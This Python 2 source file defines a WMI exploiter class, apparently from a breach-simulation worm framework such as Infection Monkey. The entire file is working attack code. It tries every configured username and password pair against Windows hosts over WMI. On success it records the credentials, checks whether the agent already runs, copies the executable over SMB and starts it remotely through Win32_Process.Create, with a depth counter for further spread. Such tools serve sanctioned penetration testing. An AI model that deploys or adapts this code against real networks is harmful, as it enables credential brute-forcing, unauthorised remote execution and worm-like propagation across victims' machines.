import socket
import ntpath
import logging
import traceback
from tools import build_monkey_commandline
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
from impacket.dcerpc.v5.rpcrt import DCERPCException

LOG = logging.getLogger(__name__)


class WmiExploiter(HostExploiter):
    _target_os_type = ['windows']

    def __init__(self):
        self._config = __import__('config').WormConfiguration
        self._guid = __import__('config').GUID

    @WmiTools.dcom_wrap
    def exploit_host(self, host, depth=-1, src_path=None):
        assert isinstance(host, VictimHost)

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        config_users = self._config.exploit_user_list
        config_passwords = self._config.exploit_password_list
        user_password_pairs = []
        for user in config_users:
            for password in config_passwords:
                user_password_pairs.append((user, password))

        for user, password in user_password_pairs:
            LOG.debug("Attempting to connect %r using WMI with password '%s'",
                      host, password)

            wmi_connection = WmiTools.WmiConnection()

            try:
                wmi_connection.connect(host,
                                       user,
                                       password)
            except AccessDeniedException:
                LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
                          host, user, password)
                continue
            except DCERPCException, exc:
                report_failed_login(self, host, user, password)
                LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
                          host, user, password)
                continue
            except socket.error, exc:
                LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
                          host, user, password, exc)
                return False
            except Exception, exc:
                LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
                          host, user, password, exc, traceback.format_exc())
                return False

            host.learn_credentials(user, password)

            # query process list and check if monkey already running on victim
            process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
                                                fields=("Caption", ),
                                                where="Name='%s'" % ntpath.split(src_path)[-1])
            if process_list:
                wmi_connection.close()

                LOG.debug("Skipping %r - already infected", host)
                return False

            # copy the file remotely using SMB
            remote_full_path = SmbTools.copy_file(host,
                                                  user,
                                                  password,
                                                  src_path,
                                                  self._config.dropper_target_path,
                                                  self._config.smb_download_timeout)

            if not remote_full_path:
                wmi_connection.close()
                return False
            # execute the remote dropper in case the path isn't final
            elif remote_full_path.lower() != self._config.dropper_target_path.lower():
                cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
            else:
                cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}

            cmdline += build_monkey_commandline(host, depth - 1)

            # execute the remote monkey
            result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
                                                                                 ntpath.split(remote_full_path)[0],
                                                                                 None)

            if (0 != result.ProcessId) and (0 == result.ReturnValue):
                LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                         remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
                success = True
            else:
                LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                          remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
                success = False

            result.RemRelease()
            wmi_connection.close()

            return success

        return False